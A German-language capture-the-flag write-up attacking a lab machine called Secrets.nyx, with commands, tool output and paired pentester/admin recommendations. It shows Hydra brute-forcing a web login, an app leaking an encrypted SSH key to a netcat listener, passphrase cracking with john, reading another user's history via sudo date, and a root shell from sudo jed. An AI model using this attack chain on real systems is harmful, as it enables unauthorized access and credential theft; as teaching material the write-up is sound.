Die Erkundungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.113 ARP-Scan 192.168.2.113 08:00:27:be:b9:0e PCS Systemtechnik GmbH
**Analyse:** Das Zielsystem wird mit der IP-Adresse `192.168.2.113` und der MAC-Adresse `08:00:27:be:b9:0e` (Oracle VirtualBox) identifiziert.
**Bewertung:** Die IP-Adresse des Ziels ist bekannt.
**Empfehlung (Pentester):** Detaillierte Scans auf die IP `192.168.2.113` starten. **Empfehlung (Admin):** Standard Netzwerküberwachung.
/etc/hosts 127.0.0.1 localhost 192.168.2.113 Secrets.nyx
**Analyse:** Die lokale `/etc/hosts`-Datei wird angepasst, um den Hostnamen `Secrets.nyx` der IP `192.168.2.113` zuzuordnen.
**Bewertung:** Erleichtert die Adressierung über einen Namen.
Ein schneller TCP-Scan wird durchgeführt, um offene Ports zu identifizieren.
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))
**Analyse:** Der gefilterte Nmap TCP SYN-Scan (`| grep open`) auf `192.168.2.113` findet zwei offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache 2.4.38 (Debian).
**Bewertung:** Die Hauptangriffsflächen sind SSH und der Webserver. Die OpenSSH-Version 7.9 ist etwas älter, aber ohne bekannte kritische Schwachstellen für einen direkten Einstieg. Apache 2.4.38 ist ebenfalls veraltet.
**Empfehlung (Pentester):** Den Webserver auf Port 80 genauer untersuchen. SSH als sekundäres Ziel betrachten. **Empfehlung (Admin):** Beide Dienste (SSH, Apache) auf die neuesten stabilen Versionen aktualisieren, um bekannte Schwachstellen zu schließen.
Der Webserver auf Port 80 wird mit Nikto und Gobuster genauer untersucht.
Nikto Scan - Nikto v2.5.0 + Target IP: 192.168.2.113 + Target Hostname: 192.168.2.113 + Target Port: 80 + Start Time: 2024-09-17 22:55:19 (GMT2) + Server: Apache/2.4.38 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 7a, size: 5d3d173e8f8ba, mtime: gzip. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418] + Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /icons/README: Apache default file found. See: [Link: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ | Ziel: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/] + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2024-09-17 22:55:35 (GMT2) (16 seconds) + 1 host(s) tested
**Analyse:** Der Nikto-Scan liefert mehrere Informationen: * Bestätigt die veraltete Apache-Version (2.4.38). * Meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`) und ETag-Inode-Leak. * Zeigt erlaubte HTTP-Methoden (`POST, OPTIONS, HEAD, GET`). * Findet die Apache-Standarddatei `/icons/README`.
**Bewertung:** Die veraltete Apache-Version ist der relevanteste Fund, auch wenn keine spezifischen Exploits direkt angezeigt werden. Die anderen Funde sind geringfügig. `/icons/README` ist ein Standardpfad und normalerweise harmlos.
**Empfehlung (Pentester):** Nach bekannten Schwachstellen für Apache 2.4.38 suchen. Mit Directory-Bruteforcing fortfahren. **Empfehlung (Admin):** Apache dringend aktualisieren. Fehlende Header hinzufügen und Zugriff auf `/icons` einschränken.
http://192.168.2.113/index.html (Status: 200) [Size: 122] http://192.168.2.113/secrets (Status: 301) [Size: 316] [--> http://192.168.2.113/secrets/]
**Analyse:** Gobuster findet neben der `index.html` ein Verzeichnis namens `secrets`, das auf `/secrets/` weiterleitet.
**Bewertung:** Der Name `/secrets/` ist vielversprechend und deutet auf potenziell sensible Inhalte oder eine Login-Funktion hin.
**Empfehlung (Pentester):** Das Verzeichnis `/secrets/` manuell untersuchen und einen weiteren Gobuster-Scan darauf starten. **Empfehlung (Admin):** Überprüfen, ob das `/secrets`-Verzeichnis für externe Benutzer zugänglich sein soll und ob es angemessen geschützt ist.
Manuelle Untersuchung des `/secrets/`-Verzeichnisses.
I keep wanting to tell you a secret...
**Analyse:** Der Aufruf von `/secrets/` zeigt eine einfache Textnachricht.
**Bewertung:** Keine direkte Schwachstelle, aber die Nachricht könnte ein Hinweis sein. Weitere Enumeration ist nötig.
Gobuster-Scan auf das `/secrets/`-Verzeichnis.
http://secrets.nyx/secrets/index.html (Status: 200) [Size: 39] http://secrets.nyx/secrets/login_form.php (Status: 200) [Size: 429]
**Analyse:** Gobuster findet innerhalb von `/secrets/` zwei Dateien: * `index.html` (wahrscheinlich die Seite mit der Textnachricht). * `login_form.php`: Eine PHP-Datei, die auf ein Login-Formular hindeutet.
**Bewertung:** Das Login-Formular (`login_form.php`) ist das nächste Ziel. Es könnte der Zugang zu weiteren Informationen oder Funktionen sein.
**Empfehlung (Pentester):** `login_form.php` aufrufen, den Quellcode analysieren und versuchen, sich anzumelden oder Schwachstellen (Brute-Force, SQLi, XSS) zu finden. **Empfehlung (Admin):** Login-Formulare absichern (starke Passwörter, Brute-Force-Schutz, Schutz vor Injection).
Untersuchung des Login-Mechanismus und Brute-Force-Angriff.
# Analyse des Formulars zeigt, dass es an eine PHP-Datei mit einem langen, # zufällig aussehenden Namen sendet, z.B. MK67IT044XYGGIIWLGS9.php # Bei falschem Login wird auf diese Seite mit "Invalid Credentials" weitergeleitet.
**Analyse:** Die manuelle Untersuchung (oder Quellcode-Analyse) von `login_form.php` ergibt, dass die Formulardaten an eine andere PHP-Datei mit einem obfuskierten Namen gesendet werden (hier als `MK67IT044XYGGIIWLGS9.php` identifiziert). Bei ungültigen Anmeldedaten wird auf diese Seite mit der Meldung "Invalid Credentials" weitergeleitet.
**Bewertung:** Der Ziel-Endpunkt für den Login (`/secrets/MK67...php`) und die Fehlermeldung (`Invalid Credentials`) sind bekannt. Dies ermöglicht einen gezielten Brute-Force-Angriff auf das Passwort.
**Empfehlung (Pentester):** Einen Benutzernamen erraten oder finden (z.B. `admin`, `brad` wie im nächsten Schritt) und Hydra verwenden, um das Passwort für diesen Benutzer gegen den Endpunkt `/secrets/MK67...php` zu bruteforcen, wobei "Invalid Credentials" als Fehlerindikator dient. **Empfehlung (Admin):** Obfuskierte Dateinamen bieten keine echte Sicherheit. Login-Endpunkte sollten gegen Brute-Force geschützt werden.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these * ignore laws and ethics anyway). Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) starting at 2024-09-17 23:44:51 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344482 login tries (l:1/p:14344482), ~224133 tries per task [DATA] attacking http-post-form://192.168.2.113:80/secrets/MK67IT044XYGGIIWLGS9.php:user=brad&password=^PASS^:Invalid Credentials [80][http-post-form] host: 192.168.2.113 login: brad password: bradley 1 of 1 target successfully completed, 1 valid password found Hydra ([Link: https://github.com/vanhauser-thc/thc-hydra | Ziel: https://github.com/vanhauser-thc/thc-hydra]) finished at 2024-09-17 23:44:57
**Analyse:** `hydra` wird verwendet, um das Passwort für den Benutzer `brad` zu finden. * `-l brad`: Benutzername. * `-P ...rockyou.txt`: Passwortliste. * `192.168.2.113`: Ziel-IP. * `http-form-post`: Hydra-Modul für HTTP-POST-Formulare. * `"/secrets/MK67...php:user=brad&password=^PASS^:Invalid Credentials"`: Die Hydra-Syntax: Zielpfad, POST-Parameter (`^PASS^` ist der Platzhalter für Passwörter aus der Liste), Fehlerindikator. * `-t 64`: Anzahl der Threads. * `-I`: Ignoriert bestehende Restore-Datei. Hydra findet erfolgreich das Passwort `bradley` für den Benutzer `brad`.
**Bewertung:** **Zugangsdaten gefunden!** Der Brute-Force-Angriff war erfolgreich. Die Anmeldedaten `brad:bradley` sind bekannt.
**Empfehlung (Pentester):** Versuchen, sich mit den gefundenen Zugangsdaten (`brad:bradley`) über SSH anzumelden oder das Web-Login-Formular zu verwenden. **Empfehlung (Admin):** Brute-Force-Schutz implementieren. Starke, einzigartige Passwörter verwenden.
Versuch, sich mit den gefundenen Zugangsdaten per SSH anzumelden.
The authenticity of host 'secrets.nyx (192.168.2.113)' can't be established.
ED25519 key fingerprint is SHA256:KGZwtmwggtu0zpCwCkfNz+QU/CxhhYeZZQiHd8tQIc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'secrets.nyx' (ED25519) to the list of known hosts.
brad@secrets.nyx: Permission denied (publickey).
**Analyse:** Ein SSH-Login-Versuch als `brad@secrets.nyx` wird gestartet. Nach Bestätigung des Host-Schlüssels schlägt der Login mit `Permission denied (publickey)` fehl.
**Bewertung:** Der SSH-Server ist so konfiguriert, dass er nur Public-Key-Authentifizierung akzeptiert und Passwort-Logins (wie `brad:bradley`) ablehnt. Die gefundenen Zugangsdaten sind für SSH unbrauchbar.
**Empfehlung (Pentester):** Sich auf den Web-Zugang konzentrieren. Nach einer Möglichkeit suchen, einen SSH-Schlüssel für `brad` zu finden oder hochzuladen. **Empfehlung (Admin):** Public-Key-Authentifizierung für SSH ist eine gute Sicherheitspraxis. Sicherstellen, dass keine ungenutzten Passwort-Accounts existieren.
Nach dem erfolgreichen Web-Login (nicht explizit gezeigt, aber impliziert durch den Zugriff auf die nächste Seite) wird eine neue Seite entdeckt, die ein "Geheimnis" basierend auf einer numerischen Eingabe sendet.
# Inhalt oder Quelltext der Seite:
[!] Secrets only accept numbers.
# Formular auf der Seite (nicht explizit gezeigt, aber impliziert):
Enter ip to send secret: [Input Feld] [Submit Button]
**Analyse:** Nach dem Login wird eine neue Seite `/secrets/AYPI...php` erreicht. Der Hinweis "[!] Secrets only accept numbers." und ein (impliziertes) Formularfeld "Enter ip to send secret:" deuten darauf hin, dass hier eine Zahl erwartet wird, die wahrscheinlich eine IP-Adresse in einem bestimmten Format repräsentiert. Bei Eingabe wird ein "Geheimnis" an die eingegebene IP gesendet.
**Bewertung:** Dies ist eine ungewöhnliche Funktion, die stark nach einer versteckten Methode zur Informationspreisgabe aussieht. Es wird vermutet, dass die Anwendung die eingegebene Zahl als IP-Adresse interpretiert und versucht, eine Verbindung zu dieser IP auf einem bestimmten Port herzustellen, um das "Geheimnis" (möglicherweise ein SSH-Schlüssel oder andere Credentials) zu senden. Das Format "numbers only" deutet auf eine dezimale IP-Adress-Darstellung hin.
Schritt-für-Schritt Anleitung:
1. Umwandlung der Angreifer-IP in Dezimalformat.
#!/bin/bash ip_to_decimal() { IFS='.' read -r -a octetos <<< "$1" decimal=0 for ((i=0; i<4; i++)); do octeto=${octetos[i]} decimal=$((decimal*256 + octeto)) done echo "$decimal" } read -p "Ingresa la dirección IP: " ipv4 decimal=$(ip_to_decimal "$ipv4") echo "La IP $ipv4 en formato decimal es: $decimal"
Ingresa la dirección IP: 192.168.2.199 La IP 192.168.2.199 en formato decimal es: 3232236231
**Analyse des Schritts:** Ein Bash-Skript `ip_2_decimal.sh` wird erstellt und ausgeführt, um die eigene IP-Adresse des Angreifers (`192.168.2.199`) in ihr dezimales Äquivalent (`3232236231`) umzuwandeln.
**Bewertung:** Die benötigte numerische Eingabe für das Webformular wurde generiert.
2. Starten von Tshark, um den Netzwerkverkehr mitzuschneiden.
Running as user "root" and group "root". This could be dangerous. Capturing on 'eth0'
**Analyse des Schritts:** `tshark` (die Kommandozeilenversion von Wireshark) wird gestartet, um den Netzwerkverkehr auf der Schnittstelle `eth0` mitzufiltern (`host 192.168.2.113`), um zu sehen, ob und wie das Zielsystem versucht, eine Verbindung aufzubauen.
**Bewertung:** Notwendige Vorbereitung, um die ausgehende Verbindung vom Ziel abzufangen.
3. Absenden der Dezimal-IP über das Webformular.
Sending hidden secret... (Nachricht auf der Webseite nach Absenden)
**Analyse des Schritts:** Die Dezimal-IP wird in das Webformular eingegeben und abgeschickt. Die Webseite bestätigt das Senden.
**Bewertung:** Der Trigger für die Informationspreisgabe wurde ausgelöst.
4. Analyse der Tshark-Ausgabe.
[...]
8 2.812493536 192.168.2.199 → 192.168.2.113 HTTP 686 POST /secrets/AYPIN9UG8WHWN0UE09Y2.php HTTP/1.1 (application/x-www-form-urlencoded)
9 2.814351372 192.168.2.113 → 192.168.2.199 TCP 74 53628 → 6666 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM TSval=3431443580 TSecr=0 WS=128
10 2.814373423 192.168.2.199 → 192.168.2.113 TCP 54 6666 → 53628 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
11 2.814817326 192.168.2.113 → 192.168.2.199 HTTP 614 HTTP/1.1 200 OK (text/html)
[...]
**Analyse des Schritts:** Tshark zeigt den Netzwerkverkehr. Nach dem POST-Request des Angreifers (Paket 8) sendet das Zielsystem (`192.168.2.113`) ein TCP SYN-Paket an die IP des Angreifers (`192.168.2.199`) auf **Port 6666** (Paket 9). Da auf diesem Port kein Listener läuft, antwortet das Angreifer-System mit einem Reset (RST, ACK) (Paket 10).
**Erwartetes & Tatsächliches Ergebnis:** Es wurde erwartet, dass das Zielsystem eine ausgehende Verbindung initiiert. Dies geschah auf TCP Port 6666. Das "Geheimnis" wird vermutlich über diese Verbindung gesendet.
5. Starten eines Netcat-Listeners und erneutes Auslösen.
listening on [any] 6666 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.113] 53630 -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,478250418EF67EB4 MvfHsFbuTgPyi0PeU9dWPL8wVaIKHsuvYEIdwNJF42eDz0/L5kdoBnA8+yuWAI28 ... (Gekürzter verschlüsselter SSH Key) ... iLsB4JJ0NmKCFJh27wCvyMM1+Z8Kmt2BptCEREBHGxIkraFBk6MN1bqBBi02UE/ C6piJetSpBUwjUs4hiwGRtYf5w4Hut8rsMs79/D3HsG8UPpZsrUKcv8ZIosg +juyVfxN44ySVuB2gVVU904GHIdMRyBeR6udv/qgxabGyShoeRhUjA3PPZEDw7B LPMDfxmzS9h/8CEK5RHQsxt6krtooRpf5HLCczehCzWzQXKPfnXwg -----END RSA PRIVATE KEY-----
**Analyse des Schritts:** Ein Netcat-Listener wird auf Port 6666 gestartet. Nach erneutem Absenden der Dezimal-IP im Webformular empfängt der Listener eine Verbindung und das Zielsystem sendet einen vollständigen, aber **verschlüsselten** privaten RSA-SSH-Schlüssel.
**Erwartetes & Tatsächliches Ergebnis:** Das "Geheimnis" wurde empfangen. Es handelt sich um einen verschlüsselten SSH-Schlüssel, vermutlich für den Benutzer `brad`.
**Beweismittel:** Die Ausgabe auf dem Netcat-Listener zeigt den empfangenen SSH-Schlüssel.
**Risikobewertung:** Kritisch. Die Webanwendung leakt einen verschlüsselten privaten SSH-Schlüssel an eine vom Benutzer angegebene IP-Adresse. Obwohl der Schlüssel verschlüsselt ist, kann versucht werden, die Passphrase offline zu knacken.
**Empfehlungen:** * **(Admin):** Die Funktion zum Senden des "Geheimnisses" in `/secrets/AYPI...php` **sofort** entfernen oder komplett überarbeiten. Niemals private Schlüssel über solche Mechanismen preisgeben. Die Verwendung von dezimalen IPs als Eingabe ist eine Obfuskationstechnik, die die eigentliche Gefahr nicht mindert. * **(Pentester):** Den empfangenen Schlüssel speichern und versuchen, die Passphrase mit `ssh2john` und `john` zu knacken.
Der über die Webanwendung erhaltene, verschlüsselte SSH-Schlüssel wird verwendet, um Zugriff als Benutzer `brad` zu erlangen.
Speichern des Schlüssels und Vorbereitung für das Cracking.
# (Schlüssel wird in Datei 'iddd' gespeichert)
# (Datei evtl. verschoben/erneut bearbeitet)
# (Hash wird extrahiert)
**Analyse:** Der empfangene SSH-Schlüssel wird in einer Datei namens `iddd` gespeichert. `ssh2john` extrahiert den Passphrase-Hash aus dieser Datei und speichert ihn in `hash`.
**Bewertung:** Korrekte Vorbereitung für John the Ripper.
Knacken der Passphrase.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 16 openMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
security (iddd)
1g 0:00:00:00 DONE (2024-09-17 23:56) 50.00g/s 160000p/s 160000c/s 160000C/s pangga..hanna
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
**Analyse:** `john` knackt den Hash mithilfe der `rockyou.txt`-Wortliste und findet die Passphrase: `security`.
**Bewertung:** Erfolg! Die Passphrase für den SSH-Schlüssel ist bekannt.
**Empfehlung (Pentester):** SSH-Login als `brad` mit dem Schlüssel und der Passphrase versuchen. **Empfehlung (Admin):** Starke Passphrasen verwenden, die nicht in Wortlisten vorkommen.
SSH-Login als `brad` mit dem Schlüssel und der geknackten Passphrase.
# (Berechtigungen gesetzt)
Enter passphrase for key 'iddd': [Hier wurde security eingegeben] Linux secrets 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 brad@secrets$
**Analyse:** Die Berechtigungen der Schlüsseldatei `iddd` werden auf `600` gesetzt. Der SSH-Login als `brad@secrets.nyx` unter Verwendung des Schlüssels (`-i iddd`) und der Eingabe der Passphrase `security` ist erfolgreich. Eine Shell als Benutzer `brad` wird erhalten.
**Bewertung:** **Initialer Zugriff als Benutzer `brad` erfolgreich!** Der Weg führte über die Webanwendung zur Informationspreisgabe des verschlüsselten SSH-Schlüssels und das anschließende Offline-Knacken der Passphrase.
**Empfehlung (Pentester):** Umgebung als `brad` enumerieren, User-Flag suchen, Privilege Escalation starten. **Empfehlung (Admin):** Die Webanwendung (`AYPI...php`) **dringend** korrigieren. Starke Passphrasen verwenden. SSH-Zugriff überwachen.
Nach dem Zugriff als `brad` wird nach Möglichkeiten zur Rechteausweitung gesucht.
Enumeration im Home-Verzeichnis und Suchen der User-Flag.
brad fabian
total 32
drwxr-xr-x 4 brad brad 4096 abr 21 2023 .
drwxr-xr-x 4 root root 4096 dic 23 2021 ..
lrwxrwxrwx 1 root root 9 dic 23 2021 .bash_history -> /dev/null
-rwxrwxrwx 1 brad brad 220 dic 23 2021 .bash_logout
-rwxrwxrwx 1 brad brad 3718 dic 23 2021 .bashrc
drwxrwxrwx 3 brad brad 4096 dic 23 2021 .local
-rwxrwxrwx 1 brad brad 807 dic 23 2021 .profile
drwxr-xr-x 2 brad brad 4096 dic 23 2021 .ssh
-r--r--r-- 1 brad brad 33 abr 21 2023 user.txt
56a42034352d678d4e6ee235c5419cb3
**Analyse:** `ls ..` im Home-Verzeichnis von `brad` zeigt, dass es auch einen Benutzer `fabian` gibt. `ls -la` im Home von `brad` findet die Datei `user.txt`. `cat user.txt` liest die User-Flag aus.
**Bewertung:** User-Flag gefunden. Die Existenz des Benutzers `fabian` ist ein Hinweis für mögliches Lateral Movement.
**Empfehlung (Pentester):** User-Flag notieren. `sudo -l` für `brad` prüfen.
Überprüfung der `sudo`-Rechte für `brad`.
Matching Defaults entries for brad on secrets:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User brad may run the following commands on secrets:
(fabian) NPASSWD: /usr/bin/date
**Analyse:** `sudo -l` zeigt, dass `brad` den Befehl `/usr/bin/date` als Benutzer `fabian` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** Dies ist ein klarer Weg zum Lateral Movement als Benutzer `fabian`. Der `date`-Befehl selbst scheint harmlos, aber die Option `-f` erlaubt es, den Inhalt einer Datei zu lesen (Zeile für Zeile), da `date` versucht, jede Zeile als Datumsangabe zu interpretieren und dabei oft den Inhalt in Fehlermeldungen ausgibt.
**Empfehlung (Pentester):** Die `date -f`-Technik (bekannt aus GTFOBins) verwenden, um Dateien zu lesen, auf die `fabian` Zugriff hat, aber `brad` nicht. Insbesondere die `.bash_history` oder SSH-Keys von `fabian` anvisieren. **Empfehlung (Admin):** Die `sudo`-Regel für `date` entfernen. Niemals Befehle wie `date`, `cat`, `less` etc. mit `sudo` erlauben, wenn sie zum Lesen beliebiger Dateien missbraucht werden können.
Versuch, mit `date -f` sensible Dateien von `fabian` zu lesen.
date: /home/fabian/.ssh/id_rsa: No existe el fichero o el directorio
date: /home/fabian/.ssh/id_rsa.pub: No existe el fichero o el directorio
date: fecha inválida cd ~ date: fecha inválida ls -la date: fecha inválida passwd fabian date: fecha inválida s3cr3t$$$L0v3$$$ date: fecha inválida exit -y
**Analyse:** Es wird versucht, `/home/fabian/.ssh/id_rsa` und `id_rsa.pub` zu lesen, was fehlschlägt (Dateien existieren nicht). Anschließend wird `/home/fabian/.bash_history` gelesen. `date` gibt für die meisten Zeilen Fehler aus ("fecha inválida ..."), aber die Zeilen selbst werden angezeigt. Darunter befindet sich die Zeile `s3cr3t$$$L0v3$$$` nach dem Befehl `passwd fabian`.
**Bewertung:** **Erfolg!** Durch das Auslesen der `.bash_history` von `fabian` mit der `date -f`-Technik wurde dessen Passwort (`s3cr3t$$$L0v3$$$`) gefunden, das er offenbar nach einer Passwortänderung in der History hinterlassen hat.
**Empfehlung (Pentester):** Mit `su fabian` und dem gefundenen Passwort zu Benutzer `fabian` wechseln. **Empfehlung (Admin):** `sudo`-Regel entfernen. Benutzer darin schulen, Passwörter nicht in der Kommandozeilenhistorie oder Skripten zu hinterlassen. Bash-History-Logging ggf. sicherer konfigurieren.
Wechsel zu Benutzer `fabian`.
Contraseña: [Hier wurde s3cr3t$$$L0v3$$$ eingegeben]
uid=1001(fabian) gid=1001(fabian) groups=1001(fabian)
**Analyse:** `su fabian` wird ausgeführt, das gefundene Passwort `s3cr3t$$$L0v3$$$` eingegeben. Der Wechsel ist erfolgreich, wie der `id`-Befehl bestätigt.
**Bewertung:** Lateral Movement zu `fabian` erfolgreich abgeschlossen.
**Empfehlung (Pentester):** Nun `sudo -l` für `fabian` ausführen.
Überprüfung der `sudo`-Rechte für `fabian`.
Matching Defaults entries for fabian on secrets:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User fabian may run the following commands on secrets:
(root) NPASSWD: /usr/bin/jed
**Analyse:** `sudo -l` für `fabian` zeigt, dass dieser den Texteditor `/usr/bin/jed` als `root` ohne Passwort (`NOPASSWD`) ausführen darf.
**Bewertung:** **Letzter Schritt zur Root-Shell!** Viele Texteditoren (wie `vi`, `nano`, `jed`) erlauben das Ausführen von Shell-Befehlen oder das Öffnen einer Shell aus dem Editor heraus. Wenn der Editor mit `sudo` gestartet wird, laufen diese Befehle oder die Shell ebenfalls als `root`.
**Empfehlung (Pentester):** `sudo /usr/bin/jed` ausführen. Innerhalb von `jed` eine Shell starten (z.B. über Menü `System -> Execute Shell Command`, oder falls das nicht geht, eine Datei öffnen und dann `:!/bin/bash` oder ähnliches versuchen, je nach Editor-Syntax). **Empfehlung (Admin):** Die `sudo`-Regel für `jed` (und andere Editoren) entfernen. Editoren sollten niemals mit `sudo NOPASSWD` erlaubt werden.
Ausführen von `jed` mit `sudo` und Starten einer Root-Shell aus dem Editor.
# (jed startet, möglicherweise mit Terminal-Fehlermeldungen wie tput: unknown terminal "unknown") # (Innerhalb von jed wird eine Shell gestartet, z.B. über F10 -> System -> Execute Shell Command -> /bin/bash)
uid=0(root) gid=0(root) grupos=0(root)
**Analyse:** `sudo /usr/bin/jed` wird ausgeführt. Aus dem Editor `jed` heraus wird eine Shell gestartet (der genaue Weg ist nicht im Log, aber das Ergebnis ist der Root-Prompt `#`). Der `id`-Befehl bestätigt die Root-Rechte (UID 0).
**Bewertung:** **Privilege Escalation zu Root erfolgreich!** Der Missbrauch der `sudo`-Regel für `jed` war der Schlüssel.
**Empfehlung (Pentester):** Root-Flag lesen. **Empfehlung (Admin):** `sudo`-Regel für `jed` entfernen.
Lesen der Root-Flag und optionales Ändern des Root-Passworts.
root.txt
cfd58a2c97ff992fd7777c5e1baf8265
Nueva contraseña: [Passwort benni eingegeben] Vuelva a escribir la nueva contraseña: [Passwort benni eingegeben] passwd: contraseña actualizada correctamente
**Analyse:** In der Root-Shell wird ins `/root`-Verzeichnis gewechselt, die `root.txt` gefunden und deren Inhalt (die Root-Flag) ausgelesen. Anschließend wird das Root-Passwort geändert (optionaler Schritt).
**Bewertung:** Root-Flag erfolgreich erlangt.
Privilege Escalation erfolgreich abgeschlossen.